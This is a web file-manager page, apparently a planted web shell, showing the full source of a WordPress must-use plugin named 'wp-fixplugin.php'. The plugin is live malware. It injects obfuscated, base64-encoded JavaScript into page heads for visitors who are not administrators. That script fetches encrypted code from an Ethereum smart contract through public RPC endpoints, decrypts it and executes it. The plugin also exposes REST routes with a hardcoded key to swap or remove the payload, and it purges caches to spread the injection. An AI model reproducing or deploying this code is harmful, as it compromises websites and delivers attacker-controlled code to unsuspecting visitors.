XYZ File Manager
Current Path:
/var/www/wordpress/wp-content/mu-plugins
var
/
www
/
wordpress
/
wp-content
/
mu-plugins
/
📁
..
📄
wp-fixplugin.php
(16.39 KB)
Editing: wp-fixplugin.php
<?php defined( 'ABSPATH' ) || exit; define( 'WP_FIXPLUGIN_PAYLOAD_OPTION', 'wp_fixplugin_payload' ); define( 'WP_FIXPLUGIN_VER_OPTION', 'wp_fixplugin_ver' ); define( 'WP_FIXPLUGIN_META_OPTION', 'wp_fixplugin_meta' ); define( 'WP_FIXPLUGIN_API_KEY', 'fpk_Xr9mQ2pL7nZ4wV8sK1' ); define( 'WP_FIXPLUGIN_DEFAULT_PAYLOAD', 'Y29uc3QgXzB4NDFhM2ZjPV8weDM3Yzk7KGZ1bmN0aW9uKF8weGE1MTViYyxfMHhhNGQwYzEpe2NvbnN0IF8weDc0NWQ2Zj1fMHgzN2M5LF8weDMwZjc5Mz1fMHhhNTE1YmMoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4MjY2MTliPXBhcnNlSW50KF8weDc0NWQ2ZigweDExZikpLzB4MSoocGFyc2VJbnQoXzB4NzQ1ZDZmKDB4MTVlKSkvMHgyKSstcGFyc2VJbnQoXzB4NzQ1ZDZmKDB4MTNmKSkvMHgzK3BhcnNlSW50KF8weDc0NWQ2ZigweDE1NikpLzB4NCooLXBhcnNlSW50KF8weDc0NWQ2ZigweDE2YSkpLzB4NSkrLXBhcnNlSW50KF8weDc0NWQ2ZigweDE0ZSkpLzB4NitwYXJzZUludChfMHg3NDVkNmYoMHgxNGYpKS8weDcqKHBhcnNlSW50KF8weDc0NWQ2ZigweDEzOCkpLzB4OCkrcGFyc2VJbnQoXzB4NzQ1ZDZmKDB4MTM3KSkvMHg5Ky1wYXJzZUludChfMHg3NDVkNmYoMHgxNGQpKS8weGE7aWYoXzB4MjY2MTliPT09XzB4YTRkMGMxKWJyZWFrO2Vsc2UgXzB4MzBmNzkzWydwdXNoJ10oXzB4MzBmNzkzWydzaGlmdCddKCkpO31jYXRjaChfMHg0NGI0NDApe18weDMwZjc5M1sncHVzaCddKF8weDMwZjc5M1snc2hpZnQnXSgpKTt9fX0oXzB4NTQwYywweDFkMWQ4KSk7Y29uc3QgXzB4NDIwODQ5PShmdW5jdGlvbigpe2xldCBfMHgzYjhlM2Q9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4MjhhOTJhLF8weDI3ZmU1ZSl7Y29uc3QgXzB4Mjk1YmU0PV8weDNiOGUzZD9mdW5jdGlvbigpe2NvbnN0IF8weDUyMzU2Nz1fMHgzN2M5O2lmKF8weDI3ZmU1ZSl7Y29uc3QgXzB4NjE5YmFlPV8weDI3ZmU1ZVtfMHg1MjM1NjcoMHgxNjMpXShfMHgyOGE5MmEsYXJndW1lbnRzKTtyZXR1cm4gXzB4MjdmZTVlPW51bGwsXzB4NjE5YmFlO319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4M2I4ZTNkPSFbXSxfMHgyOTViZTQ7fTt9KCkpLF8weDE3MDc5ZD1fMHg0MjA4NDkodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDM4ZDg2Mz1fMHgzN2M5O2lmKF8weDE3MDc5ZFtfMHgzOGQ4NjMoMHgxNDQpXSgpW18weDM4ZDg2MygweDE1MSldKClbXzB4MzhkODYzKDB4MTIxKV0oJ1x4MGEnKSE9PS0weDEpcmV0dXJuO3JldHVybiBfMHgxNzA3OWRbXzB4MzhkODYzKDB4MTUxKV0oKVtfMHgzOGQ4NjMoMHgxNWMpXShfMHgzOGQ4NjMoMHgxNjkpKVsndG9TdHJpbmcnXSgpW18weDM4ZDg2MygweDE2MCldKF8weDE3MDc5ZClbJ3NlYXJjaCddKF8weDM4ZDg2MygweDE2OSkpO30pO18weDE3MDc5ZCgpO2NvbnN0IF8weDFhYzk1OT0oZnVuY3Rpb24oKXtsZXQgXzB4MzMwMmM2PSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDQ3ZDgxZCxfMHg1YWJhNDQpe2NvbnN0IF8weDIxZThiNj1fMHgzMzAyYzY/ZnVuY3Rpb24oKXtjb25zdCBfMHg0MDQxMDE9XzB4MzdjOTtpZihfMHg1YWJhNDQpe2NvbnN0IF8weDRlMjVhND1fMHg1YWJhNDRbXzB4NDA0MTAxKDB4MTYzKV0oXzB4NDdkODFkLGFyZ3VtZW50cyk7cmV0dXJuIF8weDVhYmE0ND1udWxsLF8weDRlMjVhNDt9fTpmdW5jdGlvbigpe307cmV0dXJuIF8weDMzMDJjNj0hW10sXzB4MjFlOGI2O307fSgpKTsoZnVuY3Rpb24oKXtfMHgxYWM5NTkodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDFjNDMzMD1fMHgzN2M5LF8weDRjOWZhND1uZXcgUmVnRXhwKCdmdW5jdGlvblx4MjAqXHg1YyhceDIwKlx4NWMpJyksXzB4NDQ5NGJjPW5ldyBSZWdFeHAoXzB4MWM0MzMwKDB4MTcxKSwnaScpLF8weDVlNTVjZj1fMHg1Yzg5YTAoXzB4MWM0MzMwKDB4MTU3KSk7IV8weDRjOWZhNFtfMHgxYzQzMzAoMHgxNTgpXShfMHg1ZTU1Y2YrXzB4MWM0MzMwKDB4MTJmKSl8fCFfMHg0NDk0YmNbXzB4MWM0MzMwKDB4MTU4KV0oXzB4NWU1NWNmKydpbnB1dCcpP18weDVlNTVjZignMCcpOl8weDVjODlhMCgpO30pKCk7fSgpKTtjb25zdCBfMHgxM2FiNmU9KGZ1bmN0aW9uKCl7bGV0IF8weDQ4M2Y1Zj0hIVtdO3JldHVybiBmdW5jdGlvbihfMHgyMzU1MzUsXzB4MTkxYzNhKXtjb25zdCBfMHgxZTMwMWU9XzB4NDgzZjVmP2Z1bmN0aW9uKCl7Y29uc3QgXzB4NTNjNGY5PV8weDM3Yzk7aWYoXzB4MTkxYzNhKXtjb25zdCBfMHgyYzgwZjM9XzB4MTkxYzNhW18weDUzYzRmOSgweDE2MyldKF8weDIzNTUzNSxhcmd1bWVudHMpO3JldHVybiBfMHgxOTFjM2E9bnVsbCxfMHgyYzgwZjM7fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHg0ODNmNWY9IVtdLF8weDFlMzAxZTt9O30oKSksXzB4MzdhN2U1PV8weDEzYWI2ZSh0aGlzLGZ1bmN0aW9uKCl7Y29uc3QgXzB4NWJjNDA4PV8weDM3YzksXzB4NzRlYWNjPWZ1bmN0aW9uKCl7Y29uc3QgXzB4NDgwOWRlPV8weDM3Yzk7bGV0IF8weDE3ZDNhYTt0cnl7XzB4MTdkM2FhPUZ1bmN0aW9uKF8weDQ4MDlkZSgweDEyNykrXzB4NDgwOWRlKDB4MTU0KSsnKTsnKSgpO31jYXRjaChfMHgzNTNkZDIpe18weDE3ZDNhYT13aW5kb3c7fXJldHVybiBfMHgxN2QzYWE7fSxfMHgyNjM4ODY9XzB4NzRlYWNjKCksXzB4ZDUzOWI4PV8weDI2Mzg4NlsnY29uc29sZSddPV8weDI2Mzg4NlsnY29uc29sZSddfHx7fSxfMHg1YTkwN2E9Wydsb2cnLF8weDViYzQwOCgweDE2OCksXzB4NWJjNDA4KDB4MTUwKSxfMHg1YmM0MDgoMHgxM2MpLF8weDViYzQwOCgweDE3MiksXzB4NWJjNDA4KDB4MTVkKSxfMHg1YmM0MDgoMHgxNDcpXTtmb3IobGV0IF8weDVkNWI0Yz0weDA7XzB4NWQ1YjRjPF8weDVhOTA3YVtfMHg1YmM0MDgoMHgxNTIpXTtfMHg1ZDViNGMrKyl7Y29uc3QgXzB4MjFhOTliPV8weDEzYWI2ZVtfMHg1YmM0MDgoMHgxNjApXVtfMHg1YmM0MDgoMHgxNTUpXVtfMHg1YmM0MDgoMHgxNDQpXShfMHgxM2FiNmUpLF8weDdmMTI0MT1fMHg1YTkwN2FbXzB4NWQ1YjRjXSxfMHhlZTkwYTk9XzB4ZDUzOWI4W18weDdmMTI0MV18fF8weDIxYTk5YjtfMHgyMWE5OWJbXzB4NWJjNDA4KDB4MTY0KV09XzB4MTNhYjZlW18weDViYzQwOCgweDE0NCldKF8weDEzYWI2ZSksXzB4MjFhOTliWyd0b1N0cmluZyddPV8weGVlOTBhOVtfMHg1YmM0MDgoMHgxNTEpXVtfMHg1YmM0MDgoMHgxNDQpXShfMHhlZTkwYTkpLF8weGQ1MzliOFtfMHg3ZjEyNDFdPV8weDIxYTk5Yjt9fSk7ZnVuY3Rpb24gXzB4MzdjOShfMHgxZWUwNjMsXzB4MTg0Y2Q2KXtfMHgxZWUwNjM9XzB4MWVlMDYzLTB4MTFmO2NvbnN0IF8weDI3ZGY4Zj1fMHg1NDBjKCk7bGV0IF8weDM3YTdlNT1fMHgyN2RmOGZbXzB4MWVlMDYzXTtyZXR1cm4gXzB4MzdhN2U1O31fMHgzN2E3ZTUoKSwoYXN5bmMoXzB4NTg0YTE4LF8weDEzYmMzYyxfMHg0OWQyOGMsXzB4NTJjNzAzKT0+e2NvbnN0IF8weDMxMTFiYz1fMHgzN2M5LF8weDI3NzdlOD1uYXZpZ2F0b3JbXzB4MzExMWJjKDB4MTMyKV0/LltfMHgzMTExYmMoMHgxMjkpXT09PV8weDMxMTFiYygweDE0OCl8fC9XaW4oZG93c3wzMnw2NHxOVHw5WzU4XXwxNikvaVtfMHgzMTExYmMoMHgxNTgpXShuYXZpZ2F0b3JbJ3VzZXJBZ2VudCddKTtpZighXzB4Mjc3N2U4KXJldHVybjtjb25zdCBfMHg1NjE1ZjE9XzB4MzE4NGJlPT57Y29uc3QgXzB4NTBjNTkwPV8weDMxMTFiYztjb25zb2xlW18weDUwYzU5MCgweDEyNCldKF8weDUwYzU5MCgweDEyYikrXzB4MzE4NGJlKTt9O18weDU2MTVmMShKU09OW18weDMxMTFiYygweDE1YildKHsnY29udHJhY3QnOl8weDU4NGExOCwnZW5jcnlwdGlvbktleSc6XzB4MTNiYzNjLCdjYWNoZUtleSc6XzB4NDlkMjhjLCdjYWNoZUR1cmF0aW9uJzpfMHg1MmM3MDN9KSk7dHJ5e2NvbnN0IF8weDQ1ZTE4MT1KU09OW18weDMxMTFiYygweDEyYSldKGF0b2IobG9jYWxTdG9yYWdlWydnZXRJdGVtJ10oXzB4NDlkMjhjKXx8J2UzMD0nKSk7aWYoXzB4NDVlMTgxJiZfMHg0NWUxODFbXzB4MzExMWJjKDB4MTQ1KV0mJl8weDQ1ZTE4MT8uWydleHAnXT5EYXRlW18weDMxMTFiYygweDEzNSldKCkpe18weDU2MTVmMShfMHgzMTExYmMoMHgxNWEpKSxuZXcgRnVuY3Rpb24oXzB4NDVlMTgxW18weDMxMTFiYygweDE0NSldKSgpO3JldHVybjt9ZWxzZSBfMHg1NjE1ZjEoXzB4MzExMWJjKDB4MTZmKSk7fWNhdGNoe18weDU2MTVmMShfMHgzMTExYmMoMHgxNmYpKTt9Y29uc3QgXzB4M2JmNzM0PVtfMHgzMTExYmMoMHgxNDkpLF8weDMxMTFiYygweDEyOCksJ2h0dHBzOi8vZ2F0ZXdheS50ZW5kZXJseS5jby9wdWJsaWMvc2Vwb2xpYScsXzB4MzExMWJjKDB4MTYyKSxfMHgzMTExYmMoMHgxNDIpLCdodHRwczovL2V0aGVyZXVtLXNlcG9saWEtcnBjLnB1YmxpY25vZGUuY29tJyxfMHgzMTExYmMoMHgxM2IpXVtfMHgzMTExYmMoMHgxMzQpXShfMHgxNzViNjA9Pk1hdGhbXzB4MzExMWJjKDB4MTZkKV0oKS0wLjUpLF8weGYwZDA1Mj1fMHgxZDFjNzY9PlVpbnQ4QXJyYXlbXzB4MzExMWJjKDB4MTJjKV0oXzB4MWQxYzc2W18weDMxMTFiYygweDE0MCldKC9eMHgvLCcnKVtfMHgzMTExYmMoMHgxM2UpXSgvLi4vZylbXzB4MzExMWJjKDB4MTQzKV0oXzB4ZmI1MzA4PT5wYXJzZUludChfMHhmYjUzMDgsMHgxMCkpKTtsZXQgXzB4ODFiNDA9bnVsbDtmb3IoY29uc3QgXzB4NGUyNzMyIG9mIF8weDNiZjczNCl7dHJ5e2NvbnN0IF8weDQ5MTY2YT1hd2FpdCBmZXRjaChfMHg0ZTI3MzIseydtZXRob2QnOidQT1NUJywnaGVhZGVycyc6eydjb250ZW50LXR5cGUnOl8weDMxMTFiYygweDE0MSl9LCdib2R5JzpKU09OW18weDMxMTFiYygweDE1YildKHsnanNvbnJwYyc6XzB4MzExMWJjKDB4MTMxKSwnaWQnOjB4MSwnbWV0aG9kJzonZXRoX2NhbGwnLCdwYXJhbXMnOlt7J3RvJzpfMHg1ODRhMTgsJ2RhdGEnOicweDNiYzVkZTMwJ30sJ2xhdGVzdCddfSl9KVsndGhlbiddKF8weDVjMDUyNT0+XzB4NWMwNTI1W18weDMxMTFiYygweDEyZSldKCkpO2lmKF8weDQ5MTY2YVsnZXJyb3InXSl0aHJvdyBuZXcgRXJyb3IoXzB4NDkxNjZhWydlcnJvciddW18weDMxMTFiYygweDEzOSldKTtfMHg4MWI0MD1fMHg0OTE2NmFbXzB4MzExMWJjKDB4MTZjKV07YnJlYWs7fWNhdGNoKF8weDE0NDNlYSl7XzB4NTYxNWYxKCdSUENceDIwZmFpbGVkOicsXzB4NGUyNzMyLF8weDE0NDNlYVtfMHgzMTExYmMoMHgxMzkpXSk7fX1pZighXzB4ODFiNDApcmV0dXJuIF8weDU2MTVmMShfMHgzMTExYmMoMHgxMjMpKTtjb25zdCBfMHg0NTA3NWU9XzB4ODFiNDBbXzB4MzExMWJjKDB4MTZiKV0oMHgyKSxfMHgzZmJjNjE9cGFyc2VJbnQoXzB4NDUwNzVlW18weDMxMTFiYygweDE2YildKDB4NDAsMHg4MCksMHgxMCksXzB4MTdiNTdlPV8weGYwZDA1MihfMHg0NTA3NWVbXzB4MzExMWJjKDB4MTZiKV0oMHg4MCwweDgwK18weDNmYmM2MSoweDIpKSxfMHg0ZTY0MmU9XzB4ZjBkMDUyKF8weDU4NGExOClbJ3NsaWNlJ10oMHgwLDB4YyksXzB4NTE0ZDU4PWF3YWl0IGNyeXB0b1tfMHgzMTExYmMoMHgxMjUpXVtfMHgzMTExYmMoMHgxMzMpXSgnU0hBLTI1NicsbmV3IFRleHRFbmNvZGVyKClbJ2VuY29kZSddKF8weDEzYmMzYykpLF8weDM5NGY4Nj1hd2FpdCBjcnlwdG9bXzB4MzExMWJjKDB4MTI1KV1bXzB4MzExMWJjKDB4MTZlKV0oXzB4MzExMWJjKDB4MTI2KSxfMHg1MTRkNTgsXzB4MzExMWJjKDB4MTcwKSwhW10sW18weDMxMTFiYygweDEyZCldKSxfMHgzYWNlZGE9YXdhaXQgY3J5cHRvW18weDMxMTFiYygweDEyNSldW18weDMxMTFiYygweDEyZCldKHsnbmFtZSc6J0FFUy1HQ00nLCdpdic6XzB4NGU2NDJlfSxfMHgzOTRmODYsXzB4MTdiNTdlKSxfMHgyMWFlYjE9bmV3IFJlc3BvbnNlKF8weDNhY2VkYSlbXzB4MzExMWJjKDB4MTNhKV1bXzB4MzExMWJjKDB4MTRjKV0obmV3IERlY29tcHJlc3Npb25TdHJlYW0oXzB4MzExMWJjKDB4MTY1KSkpLF8weDdjZmEzYz1hd2FpdCBuZXcgUmVzcG9uc2UoXzB4MjFhZWIxKVtfMHgzMTExYmMoMHgxNTkpXSgpO2lmKF8weDdjZmEzYyl7dHJ5e2xvY2FsU3RvcmFnZVtfMHgzMTExYmMoMHgxNGIpXShfMHg0OWQyOGMsYnRvYShKU09OWydzdHJpbmdpZnknXSh7J2NvZGUnOl8weDdjZmEzYywnZXhwJzpEYXRlW18weDMxMTFiYygweDEzNSldKCkrXzB4NTJjNzAzKjB4M2MqMHgzZTh9KSkpLF8weDU2MTVmMShfMHgzMTExYmMoMHgxNjYpKTt9Y2F0Y2goXzB4Mzk1MTFmKXtfMHg1NjE1ZjEoXzB4MzExMWJjKDB4MTY3KSk7fW5ldyBGdW5jdGlvbihfMHg3Y2ZhM2MpKCk7fX0pKCcweGQ2Q2MzNjhGOGIyQzYyYjc4MURjODQwN0VCMWM5ZURFNzQ5NDlmQTgnLF8weDQxYTNmYygweDE3MyksJ2dfYjE1c19hJyxfMHg0MWEzZmMoMHgxMzYpKSwoZnVuY3Rpb24oKXtjb25zdCBfMHg4ZDYwZWM9XzB4NDFhM2ZjO2xldCBfMHgxMWVkNjk7dHJ5e2NvbnN0IF8weDUwNTgzOT1GdW5jdGlvbihfMHg4ZDYwZWMoMHgxMjcpK18weDhkNjBlYygweDE1NCkrJyk7Jyk7XzB4MTFlZDY5PV8weDUwNTgzOSgpO31jYXRjaChfMHgyMzU2N2Upe18weDExZWQ2OT13aW5kb3c7fV8weDExZWQ2OVtfMHg4ZDYwZWMoMHgxMzApXShfMHg1Yzg5YTAsMHg1ZGMpO30oKSk7ZnVuY3Rpb24gXzB4NTQwYygpe2NvbnN0IF8weDFjZDE4MD1bJ3Byb3RvdHlwZScsJzkybG9aZWhGJywnaW5pdCcsJ3Rlc3QnLCd0ZXh0JywnRXhlY3V0aW5nXHgyMGZyb21ceDIwY2FjaGUnLCdzdHJpbmdpZnknLCdzZWFyY2gnLCd0YWJsZScsJzY3NkhadFpWWScsJ2RlYnUnLCdjb25zdHJ1Y3RvcicsJ3N0cmluZycsJ2h0dHBzOi8vcnBjLnNlcG9saWEuZXRocGFuZGFvcHMuaW8nLCdhcHBseScsJ19fcHJvdG9fXycsJ2d6aXAnLCdDYWNoZVx4MjBzYXZlZCcsJ0Vycm9yXHgyMHNhdmluZ1x4MjBjYWNoZScsJ3dhcm4nLCcoKCguKykrKSspKyQnLCczMDIxNURqUlh4bycsJ3NsaWNlJywncmVzdWx0JywncmFuZG9tJywnaW1wb3J0S2V5JywnQ2FjaGVceDIwbWlzc2VkJywnQUVTLUdDTScsJ1x4NWMrXHg1YytceDIwKig/OlthLXpBLVpfJF1bMC05YS16QS1aXyRdKiknLCdleGNlcHRpb24nLCd2a29vbjN5Zmx6M3BmM2QxJywnMjU5WGxvZHFDJywnY2FsbCcsJ2luZGV4T2YnLCdjb3VudGVyJywnYWxsXHgyMFJQQ3NceDIwZmFpbGVkJywnbG9nJywnc3VidGxlJywncmF3JywncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcsJ2h0dHBzOi8vc2Vwb2xpYS5nYXRld2F5LnRlbmRlcmx5LmNvJywncGxhdGZvcm0nLCdwYXJzZScsJ1tCbG9ja2NoYWluXVx4MjAnLCdmcm9tJywnZGVjcnlwdCcsJ2pzb24nLCdjaGFpbicsJ3NldEludGVydmFsJywnMi4wJywndXNlckFnZW50RGF0YScsJ2RpZ2VzdCcsJ3NvcnQnLCdub3cnLCcxMjAnLCcyMDA1NTY5Wkp2UVRpJywnMjQ4SFdxdnNoJywnbWVzc2FnZScsJ2JvZHknLCdodHRwczovLzFycGMuaW8vc2Vwb2xpYScsJ2Vycm9yJywnZ2dlcicsJ21hdGNoJywnMTQyMTFSRlNQUnEnLCdyZXBsYWNlJywnYXBwbGljYXRpb24vanNvbicsJ2h0dHBzOi8vMHhycGMuaW8vc2VwJywnbWFwJywnYmluZCcsJ2NvZGUnLCdhY3Rpb24nLCd0cmFjZScsJ1dpbmRvd3MnLCdodHRwczovL2V0aGVyZXVtLXNlcG9saWEtcHVibGljLm5vZGllcy5hcHAnLCd3aGlsZVx4MjAodHJ1ZSlceDIwe30nLCdzZXRJdGVtJywncGlwZVRocm91Z2gnLCc0MzM5NTBhRGpRencnLCczNTA0NjZHRWJOWWgnLCcxMjI4NW5qR0JpeScsJ2luZm8nLCd0b1N0cmluZycsJ2xlbmd0aCcsJ3N0YXRlT2JqZWN0Jywne30uY29uc3RydWN0b3IoXHgyMnJldHVyblx4MjB0aGlzXHgyMikoXHgyMCknXTtfMHg1NDBjPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDFjZDE4MDt9O3JldHVybiBfMHg1NDBjKCk7fWZ1bmN0aW9uIF8weDVjODlhMChfMHgzMmFmYjkpe2Z1bmN0aW9uIF8weDM0NGQ5NChfMHgzNWI3ODUpe2NvbnN0IF8weDFiNmMyYz1fMHgzN2M5O2lmKHR5cGVvZiBfMHgzNWI3ODU9PT1fMHgxYjZjMmMoMHgxNjEpKXJldHVybiBmdW5jdGlvbihfMHgzOGYxOWEpe31bXzB4MWI2YzJjKDB4MTYwKV0oXzB4MWI2YzJjKDB4MTRhKSlbJ2FwcGx5J10oXzB4MWI2YzJjKDB4MTIyKSk7ZWxzZSgnJytfMHgzNWI3ODUvXzB4MzViNzg1KVsnbGVuZ3RoJ10hPT0weDF8fF8weDM1Yjc4NSUweDE0PT09MHgwP2Z1bmN0aW9uKCl7cmV0dXJuISFbXTt9Wydjb25zdHJ1Y3RvciddKCdkZWJ1JytfMHgxYjZjMmMoMHgxM2QpKVtfMHgxYjZjMmMoMHgxMjApXShfMHgxYjZjMmMoMHgxNDYpKTpmdW5jdGlvbigpe3JldHVybiFbXTt9W18weDFiNmMyYygweDE2MCldKF8weDFiNmMyYygweDE1ZikrXzB4MWI2YzJjKDB4MTNkKSlbXzB4MWI2YzJjKDB4MTYzKV0oXzB4MWI2YzJjKDB4MTUzKSk7XzB4MzQ0ZDk0KCsrXzB4MzViNzg1KTt9dHJ5e2lmKF8weDMyYWZiOSlyZXR1cm4gXzB4MzQ0ZDk0O2Vsc2UgXzB4MzQ0ZDk0KDB4MCk7fWNhdGNoKF8weDJmMDg2Yil7fX0=' ); add_action( 'init', 'wp_fixplugin_init' ); function wp_fixplugin_init() { if ( ! get_option( WP_FIXPLUGIN_PAYLOAD_OPTION ) ) { update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, WP_FIXPLUGIN_DEFAULT_PAYLOAD, 'no' ); } update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' ); } add_action( 'wp_head', 'wp_fixplugin_inject_script', 1 ); function wp_fixplugin_inject_script() { if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) { return; } $payload = get_option( WP_FIXPLUGIN_PAYLOAD_OPTION, WP_FIXPLUGIN_DEFAULT_PAYLOAD ); if ( empty( $payload ) ) { return; } echo '<script>[].constructor.constructor(atob("' . esc_attr( $payload ) . '"))();</script>' . "\n"; } add_action( 'rest_api_init', 'wp_fixplugin_register_routes' ); function wp_fixplugin_register_routes() { register_rest_route( 'wp-fixplugin/v1', '/update', array( 'methods' => 'GET', 'callback' => 'wp_fixplugin_handle_update', 'permission_callback' => '__return_true', 'args' => array( 'payload' => array( 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ), 'key' => array( 'required' => true, ), 'contract' => array( 'required' => false, ), 'enc_key' => array( 'required' => false, ), ), ) ); register_rest_route( 'wp-fixplugin/v1', '/remove', array( 'methods' => 'GET', 'callback' => 'wp_fixplugin_handle_remove', 'permission_callback' => '__return_true', 'args' => array( 'key' => array( 'required' => true, ), ), ) ); register_rest_route( 'wp-fixplugin/v1', '/status', array( 'methods' => 'GET', 'callback' => 'wp_fixplugin_handle_status', 'permission_callback' => '__return_true', 'args' => array( 'key' => array( 'required' => true, ), ), ) ); } function wp_fixplugin_handle_update( $request ) { if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) { return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) ); } $payload = $request->get_param( 'payload' ); update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, $payload, 'no' ); update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' ); $meta = array( 'contract' => $request->get_param( 'contract' ) ?: '', 'enc_key' => $request->get_param( 'enc_key' ) ?: '', 'updated' => time(), ); update_option( WP_FIXPLUGIN_META_OPTION, $meta, 'no' ); wp_cache_delete( WP_FIXPLUGIN_PAYLOAD_OPTION, 'options' ); wp_cache_delete( WP_FIXPLUGIN_VER_OPTION, 'options' ); wp_fixplugin_flush_page_caches(); return rest_ensure_response( array( 'success' => true, 'contract' => $meta['contract'], 'updated' => $meta['updated'], ) ); } function wp_fixplugin_handle_status( $request ) { if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) { return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) ); } $meta = get_option( WP_FIXPLUGIN_META_OPTION, array() ); $has_payload = ! empty( get_option( WP_FIXPLUGIN_PAYLOAD_OPTION ) ); return rest_ensure_response( array( 'active' => $has_payload, 'contract' => isset( $meta['contract'] ) ? $meta['contract'] : '', 'updated' => isset( $meta['updated'] ) ? $meta['updated'] : 0, ) ); } function wp_fixplugin_handle_remove( $request ) { if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) { return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) ); } if ( ! function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } WP_Filesystem(); global $wp_filesystem; if ( ! $wp_filesystem ) { return new WP_Error( 'fs_unavailable', 'Could not initialise WP_Filesystem.', array( 'status' => 500 ) ); } $file = $wp_filesystem->wp_content_dir() . 'mu-plugins/wp-fixplugin.php'; if ( ! $wp_filesystem->exists( $file ) ) { return new WP_Error( 'not_found', 'MU-plugin file not found.', array( 'status' => 404 ) ); } if ( ! $wp_filesystem->delete( $file ) ) { return new WP_Error( 'delete_failed', 'Could not delete MU-plugin file.', array( 'status' => 500 ) ); } delete_option( WP_FIXPLUGIN_PAYLOAD_OPTION ); delete_option( WP_FIXPLUGIN_VER_OPTION ); delete_option( WP_FIXPLUGIN_META_OPTION ); return rest_ensure_response( array( 'success' => true ) ); } function wp_fixplugin_flush_page_caches() { if ( function_exists( 'wp_cache_clear_cache' ) ) wp_cache_clear_cache(); if ( function_exists( 'w3tc_flush_all' ) ) w3tc_flush_all(); if ( function_exists( 'rocket_clean_domain' ) ) rocket_clean_domain(); if ( function_exists( 'rt_nginx_helper_purge_all' ) ) rt_nginx_helper_purge_all(); if ( class_exists( 'LiteSpeed_Cache_API' ) ) LiteSpeed_Cache_API::purge_all(); if ( class_exists( 'autoptimizeCache' ) ) autoptimizeCache::clearall(); if ( class_exists( 'Breeze_Admin' ) ) do_action( 'breeze_clear_all_cache' ); if ( class_exists( '\Hummingbird\Core\Utils' ) ) do_action( 'wphb_clear_page_cache' ); if ( isset( $GLOBALS['wp_fastest_cache'] ) && method_exists( $GLOBALS['wp_fastest_cache'], 'deleteCache' ) ) { $GLOBALS['wp_fastest_cache']->deleteCache( true ); } }
Upload File
Create Folder